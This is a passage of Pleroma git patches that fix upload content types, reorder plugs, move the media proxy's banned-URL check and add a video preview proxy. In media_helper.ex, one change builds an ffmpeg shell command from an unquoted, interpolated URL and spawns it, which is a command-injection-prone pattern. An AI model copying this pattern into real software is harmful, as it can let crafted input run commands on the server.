2abf0edec..c7ad177d9 100644 --- a/test/upload_test.exs +++ b/test/upload_test.exs @@ -11,7 +11,7 @@ defmodule Pleroma.UploadTest do alias Pleroma.Uploaders.Uploader @upload_file %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "image.jpg" } @@ -111,7 +111,7 @@ test "returns a media url" do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "image.jpg" } @@ -127,7 +127,7 @@ test "copies the file to the configured folder with deduping" do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "an [image.jpg" } @@ -143,7 +143,7 @@ test "copies the file to the configured folder without deduping" do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "an [image.jpg" } @@ -152,63 +152,31 @@ test "copies the file to the configured folder without deduping" do assert data["name"] == "an [image.jpg" end - test "fixes incorrect content type" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "application/octet-stream", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.jpg" + test "fixes incorrect content type when base64 is given" do + params = %{ + img: "data:image/png;base64,#{Base.encode64(File.read!("test/fixtures/image.jpg"))}" } - {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.Dedupe]) + {:ok, data} = Upload.store(params) assert hd(data["url"])["mediaType"] == "image/jpeg" end - test "adds missing extension" do + test "adds extension when base64 is given" do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image" + params = %{ + img: "data:image/png;base64,#{Base.encode64(File.read!("test/fixtures/image.jpg"))}" } - {:ok, data} = Upload.store(file) - assert data["name"] == "an [image.jpg" - end - - test "fixes incorrect file extension" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.blah" - } - - {:ok, data} = Upload.store(file) - assert data["name"] == "an [image.jpg" - end - - test "don't modify filename of an unknown type" do - File.cp("test/fixtures/test.txt", "test/fixtures/test_tmp.txt") - - file = %Plug.Upload{ - content_type: "text/plain", - path: Path.absname("test/fixtures/test_tmp.txt"), - filename: "test.txt" - } - - {:ok, data} = Upload.store(file) - assert data["name"] == "test.txt" + {:ok, data} = Upload.store(params) + assert String.ends_with?(data["name"], ".jpg") end test "copies the file to the configured folder with anonymizing filename" do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "an [image.jpg" } @@ -222,7 +190,7 @@ test "escapes invalid characters in url" do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "an… image.jpg" } @@ -237,7 +205,7 @@ test "escapes reserved uri characters" do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: ":?#[]@!$&\\'()*+,;=.jpg" } @@ -259,7 +227,7 @@ test "returns a media url with configured base_url" do File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image_tmp.jpg"), filename: "image.jpg" } diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs index e490a5744..8c6ee68b2 100644 --- a/test/web/activity_pub/activity_pub_controller_test.exs +++ b/test/web/activity_pub/activity_pub_controller_test.exs @@ -1428,9 +1428,9 @@ test "POST /api/ap/upload_media", %{conn: conn} do desc = "Description of the image" image = %Plug.Upload{ - content_type: "image/jpg", + content_type: "bad/content-type", path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" + filename: "an_image.png" } object = @@ -1445,6 +1445,7 @@ test "POST /api/ap/upload_media", %{conn: conn} do assert [%{"href" => object_href, "mediaType" => object_mediatype}] = object["url"] assert is_binary(object_href) assert object_mediatype == "image/jpeg" + assert String.ends_with?(object_href, ".jpg") activity_request = %{ "@context" => "https://www.w3.org/ns/activitystreams", diff --git a/test/web/activity_pub/object_validator_test.exs b/test/web/activity_pub/object_validator_test.exs index 31224abe0..ee1e1bcfe 100644 --- a/test/web/activity_pub/object_validator_test.exs +++ b/test/web/activity_pub/object_validator_test.exs @@ -58,7 +58,7 @@ test "it handles our own uploads" do user = insert(:user) file = %Plug.Upload{ - content_type: "image/jpg", + content_type: "image/jpeg", path: Path.absname("test/fixtures/image.jpg"), filename: "an_image.jpg" } -- cgit v1.2.3 From 39f7fc5b8ef781c98136d1f9be50a14bff394233 Mon Sep 17 00:00:00 2001 From: href Date: Tue, 16 Jun 2020 19:00:54 +0200 Subject: Update majic & call plug before OpenApiSpex --- lib/pleroma/web/mastodon_api/controllers/media_controller.ex | 2 +- lib/pleroma/web/pleroma_api/controllers/account_controller.ex | 10 +++++----- lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex | 2 +- mix.lock | 2 +- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/pleroma/web/mastodon_api/controllers/media_controller.ex b/lib/pleroma/web/mastodon_api/controllers/media_controller.ex index 06bb718ef..09acea7f4 100644 --- a/lib/pleroma/web/mastodon_api/controllers/media_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/media_controller.ex @@ -11,12 +11,12 @@ defmodule Pleroma.Web.MastodonAPI.MediaController do alias Pleroma.Web.ActivityPub.ActivityPub action_fallback(Pleroma.Web.MastodonAPI.FallbackController) + plug(Majic.Plug, [pool: Pleroma.MajicPool] when action in [:create, :create2]) plug(Pleroma.Web.ApiSpec.CastAndValidate) plug(:put_view, Pleroma.Web.MastodonAPI.StatusView) plug(OAuthScopesPlug, %{scopes: ["read:media"]} when action == :show) plug(OAuthScopesPlug, %{scopes: ["write:media"]} when action != :show) - plug(Majic.Plug, [pool: Pleroma.MajicPool] when action in [:create, :create2]) defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.MediaOperation diff --git a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex index 97a6ae60d..c76cbfc48 100644 --- a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex @@ -18,6 +18,11 @@ defmodule Pleroma.Web.PleromaAPI.AccountController do require Pleroma.Constants + plug( + Majic.Plug, + [pool: Pleroma.MajicPool] when action in [:update_avatar, :update_background, :update_banner] + ) + plug( OpenApiSpex.Plug.PutApiSpec, [module: Pleroma.Web.ApiSpec] when action == :confirmation_resend @@ -56,11 +61,6 @@ defmodule Pleroma.Web.PleromaAPI.AccountController do plug(:assign_account_by_id when action in [:favourites, :subscribe, :unsubscribe]) plug(:put_view, Pleroma.Web.MastodonAPI.AccountView) - plug( - Majic.Plug, - [pool: Pleroma.MajicPool] when action in [:update_avatar, :update_background, :update_banner] - ) - defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.PleromaAccountOperation @doc "POST /api/v1/pleroma/accounts/confirmation_resend" diff --git a/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex b/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex index 4ba4154dd..7e2f6c328 100644 --- a/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex @@ -9,10 +9,10 @@ defmodule Pleroma.Web.PleromaAPI.MascotController do alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub + plug(Majic.Plug, [pool: Pleroma.MajicPool] when action in [:update]) plug(Pleroma.Web.ApiSpec.CastAndValidate) plug(OAuthScopesPlug, %{scopes: ["read:accounts"]} when action == :show) plug(OAuthScopesPlug, %{scopes: ["write:accounts"]} when action != :show) - plug(Majic.Plug, [pool: Pleroma.MajicPool] when action in [:update]) defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.PleromaMascotOperation diff --git a/mix.lock b/mix.lock index 8ff41ebf6..b69f7eb8e 100644 --- a/mix.lock +++ b/mix.lock @@ -63,7 +63,7 @@ "jose": {:hex, :jose, "1.10.1", "16d8e460dae7203c6d1efa3f277e25b5af8b659febfc2f2eb4bacf87f128b80a", [:mix, :rebar3], [], "hexpm", "3c7ddc8a9394b92891db7c2771da94bf819834a1a4c92e30857b7d582e2f8257"}, "jumper": {:hex, :jumper, "1.0.1", "3c00542ef1a83532b72269fab9f0f0c82bf23a35e27d278bfd9ed0865cecabff", [:mix], [], "hexpm", "318c59078ac220e966d27af3646026db9b5a5e6703cb2aa3e26bcfaba65b7433"}, "libring": {:hex, :libring, "1.4.0", "41246ba2f3fbc76b3971f6bce83119dfec1eee17e977a48d8a9cfaaf58c2a8d6", [:mix], [], "hexpm"}, - "majic": {:git, "https://github.com/hrefhref/majic", "1c723300364cd014866c6c1bd5260e03965865a2", [branch: "develop"]}, + "majic": {:git, "https://github.com/hrefhref/majic", "91a10cfa0c902eb889584238a3ef5aa595c21ef8", [branch: "develop"]}, "makeup": {:hex, :makeup, "1.0.0", "671df94cf5a594b739ce03b0d0316aa64312cee2574b6a44becb83cd90fb05dc", [:mix], [{:nimble_parsec, "~> 0.5.0", [hex: :nimble_parsec, repo: "hexpm", optional: false]}], "hexpm", "a10c6eb62cca416019663129699769f0c2ccf39428b3bb3c0cb38c718a0c186d"}, "makeup_elixir": {:hex, :makeup_elixir, "0.14.0", "cf8b7c66ad1cff4c14679698d532f0b5d45a3968ffbcbfd590339cb57742f1ae", [:mix], [{:makeup, "~> 1.0", [hex: :makeup, repo: "hexpm", optional: false]}], "hexpm", "d4b316c7222a85bbaa2fd7c6e90e37e953257ad196dc229505137c5e505e9eff"}, "meck": {:hex, :meck, "0.8.13", "ffedb39f99b0b99703b8601c6f17c7f76313ee12de6b646e671e3188401f7866", [:rebar3], [], "hexpm", "d34f013c156db51ad57cc556891b9720e6a1c1df5fe2e15af999c84d6cebeb1a"}, -- cgit v1.2.3 From 9faa63203717e71d666afb6755ff0b781b491823 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Sun, 5 Jul 2020 19:02:43 +0300 Subject: [#2497] Fixed merge issue. --- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 0f4575e2f..583c177f2 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -12,8 +12,8 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyController do def remote(conn, %{"sig" => sig64, "url" => url64}) do with {_, true} <- {:enabled, MediaProxy.enabled?()}, - {_, false} <- {:in_banned_urls, MediaProxy.in_banned_urls(url)}, {:ok, url} <- MediaProxy.decode_url(sig64, url64), + {_, false} <- {:in_banned_urls, MediaProxy.in_banned_urls(url)}, :ok <- MediaProxy.verify_request_path_and_url(conn, url) do proxy_opts = Config.get([:media_proxy, :proxy_opts], []) ReverseProxy.call(conn, url, proxy_opts) -- cgit v1.2.3 From b8021016ebef23903c59e5140d4efb456a84a347 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Tue, 21 Jul 2020 20:03:14 +0300 Subject: [#2497] Resolved merge conflicts. --- .../media_proxy/media_proxy_controller_test.exs | 39 ---------------------- test/web/media_proxy/media_proxy_test.exs | 24 ++++--------- 2 files changed, 7 insertions(+), 56 deletions(-) diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs index d4db44c63..0cda1e0b0 100644 --- a/test/web/media_proxy/media_proxy_controller_test.exs +++ b/test/web/media_proxy/media_proxy_controller_test.exs @@ -79,43 +79,4 @@ test "it returns 404 when url is in banned_urls cache", %{conn: conn, url: url} end end end - - describe "filename_matches/3" do - test "preserves the encoded or decoded path" do - assert MediaProxyController.filename_matches( - %{"filename" => "/Hello world.jpg"}, - "/Hello world.jpg", - "http://pleroma.social/Hello world.jpg" - ) == :ok - - assert MediaProxyController.filename_matches( - %{"filename" => "/Hello%20world.jpg"}, - "/Hello%20world.jpg", - "http://pleroma.social/Hello%20world.jpg" - ) == :ok - - assert MediaProxyController.filename_matches( - %{"filename" => "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg"}, - "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", - "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg" - ) == :ok - - assert MediaProxyController.filename_matches( - %{"filename" => "/my%2Flong%2Furl%2F2019%2F07%2FS.jp"}, - "/my%2Flong%2Furl%2F2019%2F07%2FS.jp", - "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg" - ) == {:wrong_filename, "my%2Flong%2Furl%2F2019%2F07%2FS.jpg"} - end - - test "encoded url are tried to match for proxy as `conn.request_path` encodes the url" do - # conn.request_path will return encoded url - request_path = "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg" - - assert MediaProxyController.filename_matches( - true, - request_path, - "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg" - ) == :ok - end - end end diff --git a/test/web/media_proxy/media_proxy_test.exs b/test/web/media_proxy/media_proxy_test.exs index 06990464f..0e6df826c 100644 --- a/test/web/media_proxy/media_proxy_test.exs +++ b/test/web/media_proxy/media_proxy_test.exs @@ -126,6 +126,13 @@ test "`verify_request_path_and_url/2` preserves the encoded or decoded path" do :ok ) + test_verify_request_path_and_url( + # Note: `conn.request_path` returns encoded url + "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg", + "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg", + :ok + ) + test_verify_request_path_and_url( "/my%2Flong%2Furl%2F2019%2F07%2FS", "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", @@ -133,17 +140,6 @@ test "`verify_request_path_and_url/2` preserves the encoded or decoded path" do ) end - test "encoded url are tried to match for proxy as `conn.request_path` encodes the url" do - # conn.request_path will return encoded url - request_path = "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg" - - assert MediaProxy.verify_request_path_and_url( - request_path, - "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg" - ) == :ok - assert MediaProxy.decode_url(sig, base64) == {:error, :invalid_signature} - end - test "uses the configured base_url" do base_url = "https://cache.pleroma.social" clear_config([:media_proxy, :base_url], base_url) @@ -193,12 +189,6 @@ test "does not encode remote urls" do end end - defp decode_result(encoded) do - [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") - {:ok, decoded} = MediaProxy.decode_url(sig, base64) - decoded - end - describe "whitelist" do setup do: clear_config([:media_proxy, :enabled], true) -- cgit v1.2.3 From 56ddf20208657487bf0298409cf91b11dac346ff Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Fri, 7 Aug 2020 09:43:49 +0300 Subject: Removed unused alias. --- test/web/media_proxy/media_proxy_controller_test.exs | 1 - 1 file changed, 1 deletion(-) diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs index 0cda1e0b0..0dd2fd10c 100644 --- a/test/web/media_proxy/media_proxy_controller_test.exs +++ b/test/web/media_proxy/media_proxy_controller_test.exs @@ -8,7 +8,6 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do import Mock alias Pleroma.Web.MediaProxy - alias Pleroma.Web.MediaProxy.MediaProxyController alias Plug.Conn setup do -- cgit v1.2.3 From da116d81fb0028913c2a0f30ac35532fb500e8fc Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Tue, 18 Aug 2020 18:23:27 +0300 Subject: [#2497] Added video preview proxy. Switched from exexec to Port. --- .gitlab-ci.yml | 2 - config/config.exs | 4 -- lib/pleroma/exec.ex | 38 ---------------- lib/pleroma/helpers/media_helper.ex | 19 +++++--- .../web/media_proxy/media_proxy_controller.ex | 50 +++++++++++++--------- mix.exs | 2 - mix.lock | 2 - test/exec_test.exs | 13 ------ 8 files changed, 41 insertions(+), 89 deletions(-) delete mode 100644 lib/pleroma/exec.ex delete mode 100644 test/exec_test.exs diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml index 3b6877039..9e9107ce3 100644 --- a/.gitlab-ci.yml +++ b/.gitlab-ci.yml @@ -6,8 +6,6 @@ variables: &global_variables POSTGRES_PASSWORD: postgres DB_HOST: postgres MIX_ENV: test - SHELL: /bin/sh - USER: root cache: &global_cache_policy key: ${CI_COMMIT_REF_SLUG} diff --git a/config/config.exs b/config/config.exs index ab4508ccf..029f8ec20 100644 --- a/config/config.exs +++ b/config/config.exs @@ -761,10 +761,6 @@ config :pleroma, Pleroma.Web.Auth.Authenticator, Pleroma.Web.Auth.PleromaAuthenticator -config :pleroma, :exexec, - root_mode: false, - options: %{} - # Import environment specific config. This must remain at the bottom # of this file so it overrides the configuration defined above. import_config "#{Mix.env()}.exs" diff --git a/lib/pleroma/exec.ex b/lib/pleroma/exec.ex deleted file mode 100644 index 1b088d322..000000000 --- a/lib/pleroma/exec.ex +++ /dev/null @@ -1,38 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Exec do - @moduledoc "Pleroma wrapper around Exexec commands." - - alias Pleroma.Config - - def ensure_started(options_overrides \\ %{}) do - options = - if Config.get([:exexec, :root_mode]) || System.get_env("USER") == "root" do - # Note: running as `root` is discouraged (yet Gitlab CI does that by default) - %{root: true, user: "root", limit_users: ["root"]} - else - %{} - end - - options = - options - |> Map.merge(Config.get([:exexec, :options], %{})) - |> Map.merge(options_overrides) - - with {:error, {:already_started, pid}} <- Exexec.start(options) do - {:ok, pid} - end - end - - def run(cmd, options \\ %{}) do - ensure_started() - Exexec.run(cmd, options) - end - - def cmd(cmd, options \\ %{}) do - options = Map.merge(%{sync: true, stdout: true}, options) - run(cmd, options) - end -end diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index ecd234558..ca46698cc 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -7,19 +7,24 @@ defmodule Pleroma.Helpers.MediaHelper do Handles common media-related operations. """ - def ffmpeg_resize_remote(uri, %{max_width: max_width, max_height: max_height}) do + def ffmpeg_resize(uri_or_path, %{max_width: max_width, max_height: max_height}) do cmd = ~s""" - curl -L "#{uri}" | - ffmpeg -i pipe:0 -f lavfi -i color=c=white \ + ffmpeg -i #{uri_or_path} -f lavfi -i color=c=white \ -filter_complex "[0:v] scale='min(#{max_width},iw)':'min(#{max_height},ih)': \ force_original_aspect_ratio=decrease [scaled]; \ [1][scaled] scale2ref [bg][img]; [bg] setsar=1 [bg]; [bg][img] overlay=shortest=1" \ - -f image2 -vcodec mjpeg -frames:v 1 pipe:1 | \ - cat + -loglevel quiet -f image2 -vcodec mjpeg -frames:v 1 pipe:1 """ - with {:ok, [stdout: stdout_list]} <- Pleroma.Exec.cmd(cmd) do - {:ok, Enum.join(stdout_list)} + pid = Port.open({:spawn, cmd}, [:use_stdio, :in, :stream, :exit_status, :binary]) + + receive do + {^pid, {:data, data}} -> + send(pid, {self(), :close}) + {:ok, data} + + {^pid, {:exit_status, status}} when status > 0 -> + {:error, status} end end end diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 583c177f2..8861398dd 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -66,31 +66,23 @@ defp handle_preview(conn, url) do end end - defp thumbnail_max_dimensions(params) do - config = Config.get([:media_preview_proxy], []) - - thumbnail_max_width = - if w = params["thumbnail_max_width"] do - String.to_integer(w) - else - Keyword.fetch!(config, :thumbnail_max_width) - end + defp handle_preview("image/" <> _ = _content_type, conn, url) do + handle_image_or_video_preview(conn, url) + end - thumbnail_max_height = - if h = params["thumbnail_max_height"] do - String.to_integer(h) - else - Keyword.fetch!(config, :thumbnail_max_height) - end + defp handle_preview("video/" <> _ = _content_type, conn, url) do + handle_image_or_video_preview(conn, url) + end - {thumbnail_max_width, thumbnail_max_height} + defp handle_preview(content_type, conn, _url) do + send_resp(conn, :unprocessable_entity, "Unsupported content type: #{content_type}.") end - defp handle_preview("image/" <> _ = _content_type, %{params: params} = conn, url) do + defp handle_image_or_video_preview(%{params: params} = conn, url) do with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(params), media_proxy_url <- MediaProxy.url(url), {:ok, thumbnail_binary} <- - MediaHelper.ffmpeg_resize_remote( + MediaHelper.ffmpeg_resize( media_proxy_url, %{max_width: thumbnail_max_width, max_height: thumbnail_max_height} ) do @@ -99,12 +91,28 @@ defp handle_preview("image/" <> _ = _content_type, %{params: params} = conn, url |> send_resp(200, thumbnail_binary) else _ -> - send_resp(conn, :failed_dependency, "Can't handle image preview.") + send_resp(conn, :failed_dependency, "Can't handle preview.") end end - defp handle_preview(content_type, conn, _url) do - send_resp(conn, :unprocessable_entity, "Unsupported content type: #{content_type}.") + defp thumbnail_max_dimensions(params) do + config = Config.get([:media_preview_proxy], []) + + thumbnail_max_width = + if w = params["thumbnail_max_width"] do + String.to_integer(w) + else + Keyword.fetch!(config, :thumbnail_max_width) + end + + thumbnail_max_height = + if h = params["thumbnail_max_height"] do + String.to_integer(h) + else + Keyword.fetch!(config, :thumbnail_max_height) + end + + {thumbnail_max_width, thumbnail_max_height} end defp preview_head_request_timeout do diff --git a/mix.exs b/mix.exs index 33c4411c4..11fdb1670 100644 --- a/mix.exs +++ b/mix.exs @@ -186,8 +186,6 @@ defp deps do git: "https://git.pleroma.social/pleroma/elixir-libraries/elixir-captcha.git", ref: "e0f16822d578866e186a0974d65ad58cddc1e2ab"}, {:restarter, path: "./restarter"}, - # Note: `runtime: true` for :exexec makes CI fail due to `root` user (see Pleroma.Exec) - {:exexec, "~> 0.2", runtime: false}, {:open_api_spex, git: "https://git.pleroma.social/pleroma/elixir-libraries/open_api_spex.git", ref: "f296ac0924ba3cf79c7a588c4c252889df4c2edd"}, diff --git a/mix.lock b/mix.lock index f5acc89eb..553ac304a 100644 --- a/mix.lock +++ b/mix.lock @@ -33,7 +33,6 @@ "ecto_sql": {:hex, :ecto_sql, "3.4.5", "30161f81b167d561a9a2df4329c10ae05ff36eca7ccc84628f2c8b9fa1e43323", [:mix], [{:db_connection, "~> 2.2", [hex: :db_connection, repo: "hexpm", optional: false]}, {:ecto, "~> 3.4.3", [hex: :ecto, repo: "hexpm", optional: false]}, {:myxql, "~> 0.3.0 or ~> 0.4.0", [hex: :myxql, repo: "hexpm", optional: true]}, {:postgrex, "~> 0.15.0", [hex: :postgrex, repo: "hexpm", optional: true]}, {:tds, "~> 2.1.0", [hex: :tds, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "31990c6a3579b36a3c0841d34a94c275e727de8b84f58509da5f1b2032c98ac2"}, "eimp": {:hex, :eimp, "1.0.14", "fc297f0c7e2700457a95a60c7010a5f1dcb768a083b6d53f49cd94ab95a28f22", [:rebar3], [{:p1_utils, "1.0.18", [hex: :p1_utils, repo: "hexpm", optional: false]}], "hexpm", "501133f3112079b92d9e22da8b88bf4f0e13d4d67ae9c15c42c30bd25ceb83b6"}, "elixir_make": {:hex, :elixir_make, "0.6.0", "38349f3e29aff4864352084fc736fa7fa0f2995a819a737554f7ebd28b85aaab", [:mix], [], "hexpm", "d522695b93b7f0b4c0fcb2dfe73a6b905b1c301226a5a55cb42e5b14d509e050"}, - "erlexec": {:hex, :erlexec, "1.10.9", "3cbb3476f942bfb8b68b85721c21c1835061cf6dd35f5285c2362e85b100ddc7", [:rebar3], [], "hexpm", "271e5b5f2d91cdb9887efe74d89026c199bfc69f074cade0d08dab60993fa14e"}, "esshd": {:hex, :esshd, "0.1.1", "d4dd4c46698093a40a56afecce8a46e246eb35463c457c246dacba2e056f31b5", [:mix], [], "hexpm", "d73e341e3009d390aa36387dc8862860bf9f874c94d9fd92ade2926376f49981"}, "eternal": {:hex, :eternal, "1.2.1", "d5b6b2499ba876c57be2581b5b999ee9bdf861c647401066d3eeed111d096bc4", [:mix], [], "hexpm", "b14f1dc204321429479c569cfbe8fb287541184ed040956c8862cb7a677b8406"}, "ex2ms": {:hex, :ex2ms, "1.5.0", "19e27f9212be9a96093fed8cdfbef0a2b56c21237196d26760f11dfcfae58e97", [:mix], [], "hexpm"}, @@ -44,7 +43,6 @@ "ex_machina": {:hex, :ex_machina, "2.4.0", "09a34c5d371bfb5f78399029194a8ff67aff340ebe8ba19040181af35315eabb", [:mix], [{:ecto, "~> 2.2 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}, {:ecto_sql, "~> 3.0", [hex: :ecto_sql, repo: "hexpm", optional: true]}], "hexpm", "a20bc9ddc721b33ea913b93666c5d0bdca5cbad7a67540784ae277228832d72c"}, "ex_syslogger": {:hex, :ex_syslogger, "1.5.2", "72b6aa2d47a236e999171f2e1ec18698740f40af0bd02c8c650bf5f1fd1bac79", [:mix], [{:poison, ">= 1.5.0", [hex: :poison, repo: "hexpm", optional: true]}, {:syslog, "~> 1.1.0", [hex: :syslog, repo: "hexpm", optional: false]}], "hexpm", "ab9fab4136dbc62651ec6f16fa4842f10cf02ab4433fa3d0976c01be99398399"}, "excoveralls": {:hex, :excoveralls, "0.13.1", "b9f1697f7c9e0cfe15d1a1d737fb169c398803ffcbc57e672aa007e9fd42864c", [:mix], [{:hackney, "~> 1.16", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "b4bb550e045def1b4d531a37fb766cbbe1307f7628bf8f0414168b3f52021cce"}, - "exexec": {:hex, :exexec, "0.2.0", "a6ffc48cba3ac9420891b847e4dc7120692fb8c08c9e82220ebddc0bb8d96103", [:mix], [{:erlexec, "~> 1.10", [hex: :erlexec, repo: "hexpm", optional: false]}], "hexpm", "312cd1c9befba9e078e57f3541e4f4257eabda6eb9c348154fe899d6ac633299"}, "fast_html": {:hex, :fast_html, "2.0.1", "e126c74d287768ae78c48938da6711164517300d108a78f8a38993df8d588335", [:make, :mix], [{:elixir_make, "~> 0.4", [hex: :elixir_make, repo: "hexpm", optional: false]}, {:nimble_pool, "~> 0.1.0", [hex: :nimble_pool, repo: "hexpm", optional: false]}], "hexpm", "bdd6f8525c95ad391a4f10d9a1b3da4cea94078ec8638487aa8c24015ad9393a"}, "fast_sanitize": {:hex, :fast_sanitize, "0.2.0", "004b40d5bbecda182b6fdba762a51fffd3501e689e8eafe196e1a97eb0caf733", [:mix], [{:fast_html, "~> 2.0", [hex: :fast_html, repo: "hexpm", optional: false]}, {:plug, "~> 1.8", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "11fcb37f26d272a3a2aff861872bf100be4eeacea69505908b8cdbcea5b0813a"}, "flake_id": {:hex, :flake_id, "0.1.0", "7716b086d2e405d09b647121a166498a0d93d1a623bead243e1f74216079ccb3", [:mix], [{:base62, "~> 1.2", [hex: :base62, repo: "hexpm", optional: false]}, {:ecto, ">= 2.0.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm", "31fc8090fde1acd267c07c36ea7365b8604055f897d3a53dd967658c691bd827"}, diff --git a/test/exec_test.exs b/test/exec_test.exs deleted file mode 100644 index 45d3f778f..000000000 --- a/test/exec_test.exs +++ /dev/null @@ -1,13 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ExecTest do - alias Pleroma.Exec - - use Pleroma.DataCase - - test "it starts" do - assert {:ok, _} = Exec.ensure_started() - end -end -- cgit v1.2.3 From 7794d7c694110543998ee1fb278c68babda37301 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Wed, 19 Aug 2020 06:50:20 +0300 Subject: added Pleroma.Web.PleromaAPI.EmojiFileController --- .../operations/pleroma_emoji_file_operation.ex | 133 +++++++++ .../operations/pleroma_emoji_pack_operation.ex | 105 ------- .../controllers/emoji_file_controller.ex | 122 ++++++++ .../controllers/emoji_pack_controller.ex | 107 +------ lib/pleroma/web/router.ex | 6 +- .../controllers/emoji_file_controller_test.exs | 318 